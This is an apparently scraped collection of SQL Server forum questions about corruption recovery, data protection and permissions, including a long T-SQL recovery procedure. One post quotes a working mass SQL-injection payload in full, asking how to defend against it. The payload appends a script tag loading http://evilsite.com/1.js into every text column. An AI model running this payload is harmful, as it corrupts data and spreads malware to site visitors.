I have several sites which refer to a table in an MS SQL data base on the server.
I'm looking for a good way to check that my tables don't get corrupted
over time. It seems that I can't create a duplicate by selecting the
individual table and going SaveAs..
Can someone point me to the fool proof method that everyone else already uses, please ?
David Morley
Andy writes "Good day Gurus!
I have a question regarding how to protect my SQL data. My Material Resource Planning software is built on SQL. There is a problem with my data and possibly a bug in the vendors software. They are asking me to send them my database.
My database contains vendors, customers, pricing partlists and procedures. The advantage of an MRP/ERP system is that the data is all in one place; the disadvantage is that if I send it out to the vendor, they have access to all that I do. This vendor also supports some of my competitors. My concern is that all it would take is one vendor employee to jump ship with my data on a dongle and I could end up completely compromised as a company.
Is there a way of easily or is there software that can leave the significant data in tact but replace the confidential data with meaningless information?
Significant data would be numbers, costs, etc, or data that I choose. Confidential data would be vendors, customers, etc.
It seems to me that this would be a fairly common problem, but I cannot find a solution that is both quick and effective.
Thanks for your collective thoughts.
Andy,"
Hi,I need to provide a facility to do routine database administration(backups, etc.) without allowing the logged in user to modify thedata in any of the SQL server tables. Is there any way to accomplishthis (such as maybe password protecting the tables or otherwise)? I amfairly new to SQL server - so would appreciate any pointers to this.Thanks a ton!Regards,Radha
View 1 Replies View RelatedI have a Windows Forms 2.0 application with which I am distributing a SQL Express database. I am currently using User Instances. Due to HIPAA requirements, I need to prevent any consumers from accessing the data within the database. Only the application should be able to expose the data. Ideally, I would like to hard code credentials into the compiled code to do this. How can I accomplish this ?
View 1 Replies View RelatedHi,
I have a corrupted table wich has some valuable data in it. I found out that there is only one raw is corrupted. How do I find out which row of the table is it?
Can any one Help me in this matter Please?
Thanks Very much.
Jay k
Edit: Some changes added
This is my procedure for "rescuing" data from a corrupted database. Obviously restoring from backup is a lot easier!
0) Set the damaged database to Read-Only. if you don't have a backup make one now.
1) Script the database
2a) Create a new, TEMP database - preferably on a different machine in case of hardware problems on the original machine
2b) Size the Data for the TEMP database same size as the original (to avoid dynamic extensions). Size the Log something large-ish!
3) Run the Script on the TEMP database. Do NOT create any FK etc. yet
4a) Attempt to transfer all tables:
-- Prepare script of: INSERT INTO ... SELECT * FROM ...
SET NOCOUNT ON
SELECT 'PRINT ''' + name + '''' + CHAR(13) + CHAR(10) + 'GO' + CHAR(13) + CHAR(10)
+ CASE WHEN C.id IS NULL
THEN ''
ELSE 'SET IDENTITY_INSERT dbo.[' + name + '] ON' + CHAR(13) + CHAR(10)
END
+ 'INSERT INTO MyTempDatabase.dbo.[' + name + ']' + CHAR(13) + CHAR(10)
+ 'SELECT * FROM dbo.[' + name + ']' + CHAR(13) + CHAR(10)
+ CASE WHEN C.id IS NULL
THEN ''
ELSE 'SET IDENTITY_INSERT dbo.[' + name + '] OFF' + CHAR(13) + CHAR(10)
END
+ 'GO'
FROMdbo.sysobjects AS O
LEFT OUTER JOIN
(
SELECT DISTINCT C.id
FROMdbo.syscolumns AS C
WHEREC.colstat = 1-- Identity column
) AS C
ON C.id = O.id
WHERE type = 'U'
AND name NOT IN ('dtproperties')
ORDER BY name
SET NOCOUNT OFF
this generates statements like this:
PRINT 'MyTable'
GO
SET IDENTITY_INSERT dbo.[MyTable] ON
INSERT INTO RESTORE_XFER_TEMP.dbo.[MyTable]
SELECT * FROM dbo.[MyTable]
SET IDENTITY_INSERT dbo.[MyTable] OFF
GO
4b) This will give some sort of error on the tables which cannot be copied, and they will need to be rescued by some other means.
5a) Each "broken" table needs to be rescued using an index. Ideally you will have a clustered index on the PK and that will be undamaged, so you can "rescue" all the PKs into a temp table:
-- Copy PK fields to a temporary table
-- DROP TABLE MyRestoreDatabase.dbo.TEMP_RESCUE_PK
-- TRUNCATE TABLE MyRestoreDatabase.dbo.MyBrokenTable
SELECT[ID]=IDENTITY(int, 1, 1),
[IsCopied]=CONVERT(tinyint, 0),
MyPK
INTOMyRestoreDatabase.dbo.TEMP_RESCUE_PK
FROMMyBrokenDatabase.dbo.MyBrokenTable
ORDER BY MyPK
5b) If that is successful you have a list of all the PKs, so can can try to copy data matching those PKs, in batches:
-- If OK then selectively copy data across
-- First Prep. a temp Batch table
-- DROP TABLE MyRestoreDatabase.dbo.TEMP_RESCUE_BATCH
SELECT TOP 1 [ID]=CONVERT(int, NULL), [IsCopied]=CONVERT(bit, 0), MyPK
INTOMyRestoreDatabase.dbo.TEMP_RESCUE_BATCH
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK
GO
--
DECLARE@intStartint,
@intStopint,
@intBatchSizeint
-- NOTE: After the first run set these to any "gaps" in the table that you want to fill
SELECT
@intStart = 1,
@intBatchSize = 10000,
@intStop = (SELECT MAX([ID]) FROM MyRestoreDatabase.dbo.TEMP_RESCUE_PK)
SELECT@intStart = MIN([ID])
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK
WHERE IsCopied = 0
AND [ID] >= @intStart
WHILE@intStart < @intStop
BEGIN
SET ROWCOUNT @intBatchSize
-- Isolate batch of Keys into separate table
TRUNCATE TABLE MyRestoreDatabase.dbo.TEMP_RESCUE_BATCH
INSERT INTO MyRestoreDatabase.dbo.TEMP_RESCUE_BATCH
SELECTT.*
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK AS T
WHERE IsCopied = 0
AND [ID] >= @intStart
AND [ID] < @intStart + @intBatchSize
-- Attempt to copy matching records, for this batch
PRINT CONVERT(varchar(20), @intStart)
INSERT INTO MyRestoreDatabase.dbo.MyBrokenTable
SELECTS.*
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_BATCH AS T
LEFT OUTER JOIN MyRestoreDatabase.dbo.MyBrokenTable AS D
ON D.MyPK = T.MyPK
-- This will try to get the data from the broken table, it may fail!
JOIN MyBrokenDatabase.dbo.MyBrokenTable AS S
ON S.MyPK = T.MyPK
WHERED.MyPK IS NULL-- Belt and braces so as not to copy existing rows
-- Flag the rows just "Copied"
UPDATEU
SETIsCopied = 1
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK AS U
WHEREIsCopied = 0
AND [ID] >= @intStart
AND [ID] < @intStart + @intBatchSize
-- Loop round, until done
SELECT@intStart = @intStart + @intBatchSize
END
GO
SET ROWCOUNT 0-- Turn OFF!!
GO
5c) This will copy in batches of 10,000 [you can adjust @intbatchSize depending on table size] until it gets to a damaged part of the table, then it will abort.
Change the @intStart to the last ID number displayed, and reduce @intBatchSize (by an order of magnitude each time) until you have rescued as many records as possible in the first "part" of the table.
5d) Reset the batch size @intBatchSize to 10,000 [or whatever size is appropriate], and increase the @intStart repeatedly until you are past the damaged section - copying will start again, and will abort if there are further damaged sections
5e) Repeat that process until you have rescued as much of the data as is possible
6) Check what is left to be rescued
-- Check amount NOT done:
SELECTCOUNT(*), MIN([ID]), MAX([ID])
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK
WHERE IsCopied = 0
--AND [ID] > 123456-- Optionally count items after a "gap"
--
-- Double check that IsCopied set correctly, and the number of records "lost"
SELECTCOUNT(*),
[IsCopied] = SUM(CONVERT(int, IsCopied)),
[IsCopied+Record] = SUM(CASE WHEN IsCopied = 1 AND C.MyPK IS NOT NULL THEN 1 ELSE 0 END),
[IsCopiedNoRecord] = SUM(CASE WHEN IsCopied = 1 AND C.MyPK IS NULL THEN 1 ELSE 0 END),
[IsNOTCopied] = SUM(CASE WHEN IsCopied = 0THEN 1 ELSE 0 END),
[IsNOTCopied+Record] = SUM(CASE WHEN IsCopied = 0 AND C.MyPK IS NOT NULL THEN 1 ELSE 0 END),
[IsNOTCopiedNoRecord] = SUM(CASE WHEN IsCopied = 0 AND C.MyPK IS NULL THEN 1 ELSE 0 END)
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK AS T
LEFT OUTER JOIN MyRestoreDatabase.dbo.MyBrokenTable AS C
ON C.MyPK = T.MyPK
--
-- List of "Lost" records
SELECTMyPK
FROMMyRestoreDatabase.dbo.TEMP_RESCUE_PK
WHERE IsCopied = 0
ORDER BY [ID]
You will then have to "find" and rescue the lost records somewhere.
I have a further process using OPENQUERY() to rescue records to fill the gaps in the event that they are available on a remote system - a straight JOIN to get them is going to be far to slow on anything other than tiny tables!
7a) Create the FKs etc. Update the statistics, rebuild indexes, and possibly shrink the Log if it is unrealistically big
7b) Backup and Restore over the original database
7c) DBCC CHECKDB ('MyDatabaseName') WITH ALL_ERRORMSGS, NO_INFOMSGS
Good luck!
Kristen
our sql server databases are on a window cluster server.how to correct this issue or why would this happen? FILESTREAM data container 'M:TessituraDB DataDocuments' is corrupted. Database cannot recover.
View 0 Replies View RelatedA friend of mine called and said that his database was suspect and he detached it and was unable to attach it. The SQL Server Version is 2000 with the latest service packs installed. When I checked it the database (MDF) size was 1MB and the LDF size was 3.8 GB. I was not able to attach the two together and I was not able to attach the database using sp_attach_single_file_db. I did find an old backup of his database and attached that so he can work off of it but it is 1 yr old and he needs recent data. Since the MDF seemed to be blank we cant do much with that, but there seems to be data in the LDF. Is it possible to extract any data from the LDF file?
Sunny
Hello,
I am building a website in ASP.net 2.0 and I want to protect my self from sql Injection.
I am half way there in that I have built my own class that I use to check any input to the Database from a textbox (or user input) for specific characters that cause trouble, such as the “ ‘ � or “;� it then converts them to my own code for example “ ’ � = |^| the same function will convert my “code� back to the original character which works great until I get to Gridviews and Forum View.
Does anyone know how I would access the class I created through the gridview and formview so that any info they display gets first translated through my class.
Or if that is not possible how I would set the grideview or formview to translate the “codes� for me.
If I am totally off track here and there is a much better way to do all this then I am all ears. Please keep in mind I will require the “bad� characters to be saved in some way shape or form.
Thanks
I have a VB6 program that is using MS-SQL Server 2000. The people using the program can access the database and modify the records. This is fine except for one table.
Is it possible to prevent users from modifying one table (they can still view it) and allowing me and the VB program to acces this table?
I am currently writing a VB app based around a SQLserver2000 database. I have used stored procedures wherever possible to select/update/delete data. I am planning to distribute this app and wonder whether there are any tricks out there for encrypting/setting security so that even the SA account would be unable to read my stored procedures, but obviously be able to execute them?
There are two scenarios - one is where I want to let someone borrow a laptop just for a few days for a demo. Presumably I just give them an unprivileged user account without interactive logon possibilities, by which I mean Enterprise Manager and the other SQLserver Client tools [can I do this?] and control all access from the app.
The other scenario is when the app is purchased and I no longer have control of the SQL Server nor the SA account.
Any pointers would certainly be very useful indeed. Thanks.
I've been trying to look for information about using an SQL 2005 database with ASP.NET 2.0 - while there are loads of different articles coving configuring a database to use with asp.net, I cannot find anything on securing a sub-folder in my asp.net application. At the moment I am successfully connecting to, and validating users via a login page in my asp.net application, however, this is all pointless since I can still browse to the pages without logging in! I have tried putting in the usual <location> tags in my root web.config file and asp.net throws an error referring to my connection string, I have also tried adding a web.config file to the sub-directory, but that just uses the windows login, and I can't find anything that'll allow me to tie my own login page to it... Arrrgh! Any help will be greatly appreciated!
Thanks in advance.
I have a database installed on my server, and i have put a database on user "sa" , so when any user wants to view the database he must enter the password to view its content. But i have dicover that if the user make the authentication "Windows Authentication" and opened the database it will be opned without the need to enter the password !!! and for this i cant restrict the access for my database from un-authorized people.
Can any one tell me how i can restrict view database content unless entering the password?
Thaks
Hello,I wrote some complicated functions (and stored procedures) in databaseat my work. System administrator (and every db user) can view codes(in Enterprise Manager for eg.). My employer needs periodic modifyingof code and so I'm required to do it. But I can loose my job :)because users are able to modify code (althout they ware too lazy tocreate it by themselves).Is this possible to protect functions from view it?[please, don't mind my english]
View 5 Replies View RelatedHidoes anyone know of a way of giving developers read only access to adatabase diagram in Enterprise Manager (SQL Server 2000). The database wassupplied by a third party and we don't want them tinkering with it, butthey do need to be able to create additional tables etc. to extend thefunctionality of the package.TIAChloe Crowder
View 2 Replies View RelatedHelloo all,
I would like to gather some thoughts on how to secure my database (running on sql server 2005) from SQL injection , one such as :
Code Snippet
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
Basically this statement finds every text column contained in a database and inserts a cross site script into it.
I know this topic has been covered in some depth in articles such as :
MSDN article on SQL injection (http://msdn.microsoft.com/en-us/library/ms161953.aspx)
and on forums a few times.
And the general consensus is to check application code and fix it, which is fine, however we have many legacy systems where it would be too time consuming to fix the problem at the application level.
So the alternative is fix this at the database level.
A possible solution is to isolate the application access to only the objects it uses, and none of the system objects. This should prevent the statement above from running, because it requests access to the sysobjects and syscolumns views. I could implement this by changing the schema for all user objects from dbo to [myAppSchema] and assigning it to my applications database user.
Not particularly elegant but might work, what do you think?
Nigel.
I have developed some custom SQL reports that query a major software vendor's SQL Database, and I would like to sell them commercially.
The only problem is that I dont know how to protect them from casual piracy? Ideally I would like to tie them into a uniqueness of the database server eg the machine SID or similar but have no experience of this..
Can anyone recommend a way of commercially protecting the code pleaaaase?
Thanks!
In SRS is there a simiple way to password protect a report? Or will I need to handle this in ASP?
View 4 Replies View Related
I am creating a .NET application with a SQL database (SQL 2005). The database will be installed at the clients site. I would like to keep them from viewing my Tables, Stored Procedures, etc. I have read several posts on here and no one has given a solution to this, is this possible in SQL?? I am also currently encrypting/decrypting the table data in my SP's but what is to prevent the client from writing an application that accesses my SP's and therefore retrieving the decrypted data??
I need to copy data from warehouse tables to master tables of different SQL instances. Refresh need to done once in an hour. What is the best way to do this? SQL agent jobs or SSIS packages?
View 3 Replies View RelatedHi I am using sql server 2005 express and would like to keep all my fields from being both updated and deleted.
In other words, once I create a new record, I would like to have it protected from being deleted and I dont want the field values to be updated/changed from the values initially entered. Is there a way to this without running triggers or changing database permissions and user roles?
I tried making the database read-only, but then of course i cant add new records.
Thanks
Lets assume SQL Server 2005 running on Windows 2003 Server, connected to a network but not part of the domain. One application accesses it over the network with one login. Either SQL Server or a local windows login is used for authentication. This would protect SQL Server if the domain was compromised. I can see in normal circumstances domain level logins should be used, but in certain scenerios where the security of the SQL Server box is top would this be a good solution?
Thanks
Danny
Hello all, I have an app that is distributed to buyers and is registered on a per-computer basis. I am currently using SQL Server 2005. I have created my own registration process in which I can create a registration key file that my app reads to see the maximum # of uses of the app are allowed. I am saving the # of uses in a "keyuses" table. I need to protect this table from the users logging into the server with windows authentication and being able to edit the information in this table. I am used to Firebird, in which the security is totally user based, no windows authentication. You must explicitly grant access to every table for each user, or to the public user that represents every user. Anyways, I am pretty new to SQL server 2005. I know that there must be a way to protect a table from any modification except by a "SQL Authentication" user, which requires a username and password.
Thank you all!
Branden Johnson
Does anyone know how I can password protect XP Professional Control Panel?ThanksRonnie
View 1 Replies View RelatedDear GroupI'd be grateful if you can give me some advice on the following.An application I wrote uses an MSDE backend and I wonder whetherthere's a way (even for the system administrator) of not seeing ortracing stored procedure code, view and table designs?And I also wonder whether you can advise me on an installer thathandles MSDE and database setup during installation without too mucheffort but is still affordable < USD 1000.Any articles, resources, advice hints for these two topics are veryappreciated.Thank you very much for your help & efforts!Martin
View 3 Replies View RelatedPlease give me advise ครับ
Hi Everyone,
when i am trying to attach a 'xxx.mdf' file it is showing message 'xxx.mdf' is not a primary database file.
Please suggest me what could be the reasons and what are the possible ways to recover my database.
I have lot of important data in the database.
Thanks and Regards,
Shashidhar
how can i attach my database without the ndf file, i still have the mdf and ldf. my ndf file contains only 2 tables which are not that very impt. unfortunately my ndf was corrupted and my backup files was deleted when the network admin formatted the harddisk where the backups were stored.. is it possible? kindly help..
View 5 Replies View RelatedHi all,
I have a large Excel file with one large table which contains data, i've built a SQL Server DataBase and i want to fill it with the data from the excel file.
How can it be done?
Thanks, Michael.
Hi,
I have a question on sqlserver 6.5 with sp5a.
I execute a query like the following
select * from eps_analysis_cm (INDEX = index2)
where ....
the query gets 32 rows.
If I use another index
select * from eps_analysis_cm (INDEX = index1)
where ....
the query gets 0 rows.
Are my indexes corrupted ?
Note: running DBCC CHECKDB I get no error messages
Thanks in advance
We have one database of 5 GB of which when we take the backup and restore in another location, it says "Device Activation Error. The Physical file name e:databaseike_log.ldf may be incorrect".
The database has more than one log file.
Now when we use another procedure to create new database and stop the sql, then replace the old mdf file and REBUILDLOG. (Ie dbcc rebuildlog(nike,1,0)). It says incorrect DBCC Statment.
Pl. suggest us what to do?
SQL Server 6.5.
Hi!
When I try to create PK, Clustered index on the column in the table I have got error message: 1105 Couldn't not allocate space for object table1......
But it is a big amount of free space in the database. And actually I can create any indexes, exsept clustered with no problem.
DBCC CHECKALLOCK for this table shows: extent not ih the segment.
Does it mean the table structure is corupted? What Can I do to resolve the problem?
Thank you,
Elena.
Hi, Folks !
What happens with all jobs after rebuilding master db if it got corrupted. Will they be working correctly ? If no, then why ?
Thanx in advance,
serg